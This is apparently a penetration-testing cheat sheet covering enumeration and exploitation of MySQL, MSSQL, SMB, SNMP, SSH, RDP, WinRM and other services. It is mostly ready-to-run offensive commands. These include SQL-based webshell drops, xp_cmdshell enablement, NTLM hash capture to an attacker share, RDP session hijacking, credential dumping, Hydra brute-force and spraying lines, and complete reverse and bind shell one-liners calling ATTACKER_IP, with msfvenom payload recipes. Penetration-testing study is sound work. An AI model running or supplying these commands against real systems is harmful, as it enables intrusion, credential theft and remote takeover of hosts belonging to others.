  • TCP 3306: normal
  • Server Config:
    • /etc/mysql/mysql.conf.d/mysqld.cnf
  • default system schemas/databases:
    • mysql - is the system database that contains tables that store information required by the MySQL server
    • information_schema - provides access to database metadata
    • performance_schema - is a feature for monitoring MySQL Server execution at a low level
    • sys - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema
  • secure_file_priv may be set as follows:
    • If empty, the variable has no effect, which is not a secure setting.
    • If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
    • If set to NULL, the server disables import and export operations
  • https://dev.mysql.com/doc/refman/8.0/en/system-schema.html#:~:text=The%20mysql%20schema%20is%20the,used%20for%20other%20operational%20purposes
Dangerous Settings
SettingsDescription
userSets which user the MySQL service will run as.
passwordSets the password for the MySQL user.
admin_addressThe IP address on which to listen for TCP/IP connections on the administrative network interface.
debugThis variable indicates the current debugging settings
sql_warningsThis variable controls whether single-row INSERT statements produce an information string if warnings occur.
secure_file_privThis variable is used to limit the effect of data import and export operations.
# Login
# - try "root"
mysql -u <USER> -h <TARGET>
mysql -u <USER> --password=<PASSWORD> -P <PORT> -h <TARGET>

select version() ;
show databases ;
use <DATABASE> ;
show tables ;
show columns from <TABLE> ;

SELECT * FROM users ;
select * from <TABLE> ;
select * from <TABLE> where <COLUMN> = "<VALUE>" ;

use sys ;  # tables and metadata
select host, unique_users from host_summary ;

use information_schema ;  # metadata

### Read Files
# NOTE: not normal
select LOAD_FILE("/etc/passwd");

### Write Files (to achieve command execution)
show variables like "secure_file_priv";
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

NFS

Similiar to SMB.

Dangerous Options
Dangerous OptionDescription
rwRead and write permissions.
insecurePorts above 1024 will be used.
nohideIf another file system was mounted below an exported directory, this directory is exported by its own exports entry.
no_root_squashAll files created by root are kept with the UID/GID 0.
# Show shared dirs
exportfs -sv
# Show NFS Shares on server
showmount -e <TARGET>

# Mount NFS
mkdir target-NFS
sudo mount -t nfs -o nolock <TARGET>:/ ./target-NFS
sudo umount ./target-NFS

# Enumerate
sudo nmap -n -Pn -p111,2049 -sV -sC <TARGET>
sudo nmap -n -Pn -p111,2049 -sV --script 'nfs*' <TARGET>

Nix: R-services

Suite of obsolete remote management tools. All communication is unencrypted including its authentication.

# Enum via nmap
sudo nmap -sV -p 512,513,514 <TARGET>

# Remote copy; does not confirm remote overwriting of files
rcp
# Remote shell
rsh
# Remote command
rexec
# Remote login (telnet-like)
rlogin <TARGET> -l <USER>
# Show authenticated users
rwho
rusers -al <TARGET>

Nix: Rsync

# Enum via nmap
sudo nmap -sV -p873 <TARGET>

# Enum dir
rsync -av --list-only rsync://<TARGET>/<DIR>

# Download dir optionally via SSH
rsync -av -e "ssh -p <SSH_PORT>" rsync://<TARGET>/<DIR>

Nix: SSH

Dangerous Settings
SettingDescription
PasswordAuthentication yesAllows password-based authentication.
PermitEmptyPasswords yesAllows the use of empty passwords.
PermitRootLogin yesAllows to log in as the root user.
Protocol 1Uses an outdated version of encryption.
X11Forwarding yesAllows X11 forwarding for GUI applications.
AllowTcpForwarding yesAllows forwarding of TCP ports.
PermitTunnelAllows tunneling.
DebianBanner yesDisplays a specific banner when logging in.
# Audit sercurity of SSH server
# https://github.com/jtesta/ssh-audit
git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py -l warn <TARGET> | tee ssh_audit.txt

# Specify auth-method: password
ssh -v -o PreferredAuthentications=password <USER>@<TARGET>

sshpass -p '<PASSWORD>' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 <USER>@<TARGET>

# Force auth-method: privkey
ssh -i <PRIVATE_KEY> <USER>@<TARGET>

Oracle TNS

Oracle’s version of SQL.

# SID Brute-forcing via nmap
sudo nmap -p1521 -sV --script oracle-sid-brute <TARGET>

### ODAT
# TNS Setup for Enumeration
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install --break-system-packages python-libnmap
git submodule init
git submodule update
pip3 install --break-system-packages cx_Oracle
sudo apt install -y python3-scapy
sudo pip3 install --root-user-action colorlog termcolor passlib python-libnmap
sudo apt install -y build-essential libgmp-dev
pip3 install --break-system-packages pycryptodome

# Enumeration
odat.py all -d <SID> -s <TARGET>

### Connect
# Install: https://askubuntu.com/a/207145
sqlplus <USER>/<PASSWORD>@<TARGET>/<SID>
sqlplus <USER>/<PASSWORD>@<TARGET>/<SID> as sysdba
# https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared
# If you come across the following error sqlplus:
# error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, 
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf" ; sudo ldconfig

# SQL Commands
select table_name from all_tables ;
select * from user_role_privs ;
select name, password from sys.user$ ;

### Upload webshell (if webserver)
# Linux	/var/www/html
# Windows	C:\inetpub\wwwroot
echo "Oracle File Upload Test" > testing.txt
odat.py utlfile -d <SID> -U <USER> -P <PASSWORD> -s <TARGET> --sysdba --putFile <UPLOAD_DIR> testing.txt ./testing
curl -Lo- http://<TARGET>/testing.txt

SMB/CIFS

  • TCP 135: RPC Endpoint Mapper (EPM)
  • UDP 137, UDP 138, TPC 139: legacy (CIFS/SMB1)
  • TCP 445: RPC/(SMB2/3)
  • Shares:
    • C$ (drive)
    • ADMIN$ (Windows drive)
    • IPC$ (RPC)
    • PRINT$
Dangerous Settings
SettingDescription
browseable = yesAllow listing available shares in the current share?
read only = noForbid the creation and modification of files?
writable = yesAllow users to create and modify files?
guest ok = yesAllow connecting to the service without using a password?
enable privileges = yesHonor privileges assigned to specific SID?
create mask = 0777What permissions must be assigned to the newly created files?
directory mask = 0777What permissions must be assigned to the newly created directories?
logon script = script.shWhat script needs to be executed on the user’s login?
magic script = script.shWhich script should be executed when the script gets closed?
magic output = script.outWhere the output of the magic script needs to be stored?
# ANON: List available SMB shares
smbclient -U "" -N --list //<TARGET>/
smbclient -U "guest" -N --list //<TARGET>/

# ANON: Connect to an SMB share
smbclient -U "" -N //<TARGET>/<SHARE>
smbclient -U "guest" -N //<TARGET>/<SHARE>

# Connect to SMB share
smbclient --user=<DOMAIN>/<USERNAME> --password='<PASSWORD>' //<TARGET>/<SHARE>
ls  # List files
more  # read file
get <FILE>  # Download file
recurse  # Toggle directory recursion
# Download recursion
recurse on
prompt off
mget *
# Execute local commands (outside of session)
!<COMMAND>

---

# https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol
# badPwdCount: https://learn.microsoft.com/en-us/windows/win32/adschema/a-badpwdcount
# User and Groups
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --users
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups

# List shares
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares

# Recursively list files
smbmap -r --depth 3 -r <SHARE> -u <USERNAME> -p <PASSWORD> -H <IP>
# Directories only
smbmap -R <SHARE> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> -H <IP> --dir-only

---

# https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf
# https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html

# RPC
rpcclient -U '<USER>%<PASSWORD' <TARGET>
querydominfo	# Provides domain, server, and user info
enumdomusers  # Enumerates all domain users
srvinfo	 # Server information
enumdomains	 # Enumerate all domains
netshareenumall	 # Enumerates available shares
netsharegetinfo <SHARE>	 # Info about a specific share
queryuser <RID>  # User info

---

# TODO: move these to a more appropriate/relevant section

# Brute-Forcing RIDs via RPC
for i in $(seq 500 1100);do rpcclient -N -U "" <TARGET> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

# Same with other tools
samrdump.py <TARGET>
smbmap -H <TARGET>

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>

SMTP/ESMTP

Dangerous Settings
OptionDescription
mynetworks = 0.0.0.0/0With this setting, this SMTP server can send fake emails and thus initialize communication between multiple parties. Another attack possibility would be to spoof the email and read it.
# CAREFUL! Open relay check
sudo nmap -p25,465,587,2525 --script smtp-open-relay <TARGET>

# User enum
# TRY: -M VRFY
smtp-user-enum -v -M RCPT -U <USERLIST> -D <DOMAIN> -t <TARGET>

# Manual enumeration
telnet <TARGET> 25
EHLO <HOSTNAME>
VRFY <USER>  # 250 success; 252 maybe/not; 550 failure
EXPN

SNMP

Management Information Base (MIB) is a text file of Object Identifier (OID) s, which provide addresses to access device info, in the Abstract Syntax Notation One (ASN.1) based ASCII text format. Community Strings are sort of “passwords” to manage the access level.

Dangerous Settings
SettingsDescription
rwuser noauthProvides access to the full OID tree without authentication.
rwcommunity <COMMUNITY_STRING> <IPv4_ADDR>Provides access to the full OID tree regardless of where the requests were sent from.
rwcommunity6 <COMMUNITY_STRING> <IPv6_ADDR>Same access as with rwcommunity with the difference of using IPv6.
# Enum via nmap
sudo nmap -n -Pn -sU -p161 -sV --script 'snmp*' --reason -oA nmap_snmp_scan <TARGET>

### Brute-force names of Community Strings
# - Default Strings: "public" (Read-Only) and "private" (Read/Write) are common
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET>
// probably "public"

### Brute-force OIDs and info
# -v 1,2c,3
snmpwalk -v <VERSION> -c <COMMUNITY_STRING> <TARGET> .1

### Brute-force OIDs
# -2 : use v2
# braa usu. uses Version 1
braa <COMMUNITY_STRING>@<TARGET>:.1.*
braa <COMMUNITY_STRING>@<TARGET>:.1.3.6.*

Win: MSSQL

  • TCP/UDP 1433: normal
  • TCP 2433: hidden mode
  • default system schemas/databases:
    • master - keeps the information for an instance of SQL Server.
    • msdb - used by SQL Server Agent.
    • model - a template database copied for each new database.
    • resource - a read-only database that keeps system objects visible in every database on the server in sys schema.
    • tempdb - keeps temporary objects for SQL queries.
  • xp_cmdshell:
    • xp_cmdshell is a powerful feature and disabled by default. It can be enabled and disabled by using the Policy-Based Management or by executing sp_configure
    • The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account
    • xp_cmdshell operates synchronously. Control is not returned to the caller until the command-shell command is completed

Microsoft’s closed-source version of SQL.

Dangerous Settings
  • MSSQL clients not using encryption to connect to the MSSQL server
  • The use of self-signed certificates when encryption is being used. It is possible to spoof self-signed certificates
  • The use of named pipes
  • Weak & default sa credentials. Admins may forget to disable this account
# Enumerate via nmap
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <TARGET>

# Enumerate via MSF
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <TARGET>
run

### Login via Windows auth
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>@<TARGET>
impacket-mssqlclient <USER>:<PASSWORD>@<TARGET>

SELECT @@version;
SELECT user_name();
SELECT system_user;
SELECT IS_SRVROLEMEMBER('sysadmin');  -- 1+ is admin
# Users
SELECT name FROM master..syslogins;
# Databases
SELECT name FROM master..sysdatabases;

# show tables ;
USE <DATABASE> ;
SELECT name FROM sys.tables;

Read Files

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Write Files (to achieve command execution)

sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Enable xp_cmdshell

enable_xp_cmdshell

EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE

xp_cmdshell <COMMAND>

# or run linked server command
EXECUTE('xp_cmdshell ''<DOS_CMD>''') AT [<LINKED_SERVER>]

Impersonate User

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' ;
GO

# Impersonating the SA User
USE master
EXECUTE AS LOGIN = 'sa'
# Verify
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# 0 is NOT admin

Linked Servers

SELECT srvname, isremote FROM sysservers
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [<TARGET>\SQLEXPRESS]

---

### Capture NTLM Hash
sudo responder -I <INTERFACE>

# XP_DIRTREE Hash Stealing
EXEC master..xp_dirtree '\\<ATTACKER>\share'
# XP_SUBDIRS Hash Stealing
EXEC master..xp_subdirs '\\<ATTACKER>\share'

Win: RDP

Also called “Terminal Services”.

RDP via Pass the Hash

Source: Docs > 6 - Post-Exploitation > pass-the-hash#rdp-restricted-admin-mode

RDP (Restricted Admin Mode)

#Enable Restricted Admin on Target (Requires Admin rights)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Now RDP with Hash
xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,share
# Enum via nmap
sudo nmap -sV -sC --script 'rdp*' -p3389 <TARGET>

# Enum RDP security posture
sudo cpan
sudo cpan Encoding::BER
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl <TARGET>

# Connects to RDP and mounts mimikatz share
xfreerdp3 +multitransport /clipboard /dynamic-resolution /cert:ignore /v:<TARGET> /u:<USER> /p:'<PASSWORD>' /drive:'/usr/share/windows-resources/mimikatz/x64',share

# Impersonate other logged-in user
# NOTE: needs SYSTEM
query.exe user
tscon.exe <SESSION_ID> /dest:<SESSION_NAME>

# Local Admin => SYSTEM
sc.exe create sessionhijack binpath= "cmd.exe /k tscon.exe <SESSION_ID> /dest:<SESSION_NAME>"
net.exe start sessionhijack

Win: WinRM

  • TCP 5985/5986: via HTTP/HTTPS respectively
# Enum via nmap
sudo nmap --disable-arp-ping -n -Pn -sV -sC -p5985,5986 <TARGET>

# Connect via WinRM
# https://github.com/Hackplayers/evil-winrm
evil-winrm -u <USER> -p <PASSWORD> -i <HOST>
evil-winrm -u <USER> -H <PASS_HASH> -i <HOST>

PowerShell Remoting

Requires valid Kerberos Ticket (PtT) or active NTLM Injection (PtH) in the current session.

Ports

  • TCP/5985 (HTTP)
  • TCP/5986 (HTTPS)

Requirements

  • Administrative permissions OR
  • Member of “Remote Management Users” OR
  • Explicit PSSession configuration
# PowerShell
$password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("<DOMAIN>\<USER>", $password)
Enter-PSSession -Credential $cred -ComputerName <TARGET_HOSTNAME>

Win: WMI

  • TCP 135: first, initialization
  • TCP <RHP>: afterwards, comms
# Run interactive shell
impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET>
# Run remote command
impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET> "<COMMAND>"

5 - Exploitation

Metasploit

# Install exploit manually
cp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-db
pushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSF
reload
reload_all

### Search
# <type>/<os>/<service>/<name>

# Search for port and name, showing exploits only
search type:exploit platform: port:<PORT> name:<NAME>

# grep
grep meterpreter grep reverse_tcp show payloads

# Set all LHOST to tunnel IP
setg LHOST tun0

๐Ÿ“Š Meterpreter Survey

sysinfo
getuid
getpid
ipconfig
ps

# Linux flag search
search -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt

# Windows flag search
search -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt

# REMEMBER: for Windows, quoting and double slashes 
cat "C:\\Programs and Files (x86)\\"

# Migrate
ps -s | grep svchost
migrate <PID>

getsystem
getprivs

# List security tokens of user and group
list_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token

# Dumps creds
hashdump  # CrackStation
lsa_dump_sam
lsa_dump_secrets

# Better dump creds
load kiwi
creds_all

# === WINDOWS ===
run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares

# --- Privilege Escalation & Credential Gathering ---
run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester

๐Ÿ—„๏ธ DB for Targets

# Check database status from within msfconsole
db_status

# Database Backend Commands
db_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save

# Manage workspaces
workspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>

hosts
loot
notes
services
vulns
creds

# Using database hosts for a module
hosts -R  # set RHOSTS from hosts
services -S <SEARCH>

Password

Enumerating Password Policy

See more about… enum4linux-ng

Source: Docs > 4 - Vuln Analysis (Services) > smb-cifs#enum4linux-ng

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMB
netexec smb <TARGET> --pass-pol
netexec smb <TARGET> -u <USER> -p <PASS> --pass-pol

# via RPC
rpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo  # get domain and password policy

# via LDAP anon bind (Win Server 2003)
# pwdProperties: password complexity
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# via net
net use \\<TARGET>\ipc$ "" /u:""
net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>

# via net accounts
net accounts

NOTE: “If asking for the policy does not fit the expectations of the assessment or the client does not want to provide it, we should run one, max two, password spraying attempts (regardless of whether we are internal or external) and wait over an hour between attempts if we indeed decide to attempt two”

Default Domain Policy

PolicyDefault Value
Enforce password history24 days
Maximum password age42 days
Minimum password age1 day
Minimum password length7
Password must meet complexity requirementsEnabled
Store passwords using reversible encryptionDisabled
Account lockout durationNot set
Account lockout threshold0
Reset account lockout counter afterNot set

Default Login Creds

# Install
pipx install defaultcreds-cheat-sheet

# Creds
creds search <KEYWORD>

User Enum

All of these use anonymous sessions, but credentials can be tried as well.

# via enum4linux-ng (this uses RPC)
enum4linux-ng -U <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB
netexec smb <TARGET> --users

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
# for <WORDLIST>: wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>

Brute-Forcing & Spraying

  • Brute-Force: 1 user against 1 target using many passwords (alternates passwords)
    • RISK of account lock d/t account lockout policy – find valid creds for user (only option or valuable account)
  • Spraying: many users against many targets using 1 password (alternates users)
    • no risk of account lockout – “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if “…you donโ€™t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset…”

Linux

# Check netexec -h for services
netexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'

# via RPC
for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done

# via Kerbrute
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS>  <PASSWORD>
Local Auth

This tries local authentication instead of domain authentication. Mitigated with:

# Check netexec -h for services
netexec smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

Windows

By default, the script “smartly” checks account logon policy and pulls users from the current domain (minus disabled accounts). Users can be specified with -UserList and the domain with -Domain respectively.

# DomainPasswordSpray
wget https://github.com/dafthack/DomainPasswordSpray/raw/refs/heads/master/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -OutFile spray_success -ErrorAction SilentlyContinue -Password <PASSWORD>

Hydra

# Web Login brute-force (ONLINE - use small wordlist to avoid lockouts)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -VF -o hydra_web_login.txt

# Wordpress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt ssh://<TARGET>:<PORT> -o hydra_ssh_login.txt
### Core Flags
-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)

### SSH / FTP / RDP / SMB
hydra -l <USER> -P <WORDLIST> -f -V -t 4 ssh://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

### Web Forms (HTTP-POST)
# Syntax: "/path:body:F=FailureString"
# Use ^USER^ and ^PASS^ as placeholders. Check Burp Suite for body structure.
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid password" -V -f

### WordPress Specific
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

### Password Spraying (1 pass vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Protocol Poisoners

Responder (Linux)

Can attack the following protocols:

  • LLMNR
  • DNS
  • MDNS
  • NBNS
  • DHCP
  • ICMP
  • HTTP
  • HTTPS
  • SMB
  • LDAP
  • WebDAV
  • Proxy Auth
  • MSSQL
  • DCE-RPC
  • FTP, POP3, IMAP, and SMTP auth
# Force WPAD login...this may cause a login prompt
sudo responder --wpad f --ForceWpadAuth <INTERFACE>

# ANALYZE MODE: observe NBT-NS, BROWSER, LLMNR requests w/o responding
sudo responder -I <INTERFACE> -A

# Use RevShell to send a PowerShell base64 callback
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh (Windows)

Shells

Forward/Bind

# === TARGET: LISTENER ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<LISTEN_PORT>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

powershell -NoP --% -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<LISTEN_PORT>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

# === ATTACKER: CONNECT ===
nc -nv <TARGET> <LISTEN_PORT>

Callback/Reverse

# === ATTACKER: LISTENER ===
nc -lvnp <CALLBACK_PORT>

# === TARGET: CALLBACKS ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -nv <ATTACKER_IP> <CALLBACK_PORT> > /tmp/f

bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<CALLBACK_PORT> 0>&1'

# Must be ran from cmd.exe
powershell -nop --% -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<CALLBACK_PORT>);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

โšก Command executor

echo '<?php if(isset($_GET["debug"])) system($_GET["debug"]); ?>' > debug.php

curl -skL -o- http://<TARGET>/debug.php?debug=<COMMAND>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<% eval request("cmd") %>

๐ŸŽฏ Msfvenom

  • stageless: names like shell_reverse_tcp
  • staged: names like shell_reverse_tcp
### Listener for reverse callbacks
use exploit/multi/handler
set payload <PAYLOAD>  # should match msfvenom
set lhost <LISTEN_IP>
set lport <LISTEN_PORT>

### Msfvenom commands
msfvenom -l payloads
msfvenom -l formats

# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw -e php/base64  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/reverse_php LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > reverse_shell.php  # NOTE: need to add <?php ?> tags to file
msfvenom -p php/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.php

# LINUX
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f elf > rev_shell.elf
msfvenom -p cmd/unix/reverse_python LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.py

# WINDOWS
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > rev_shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > nameoffile.exe
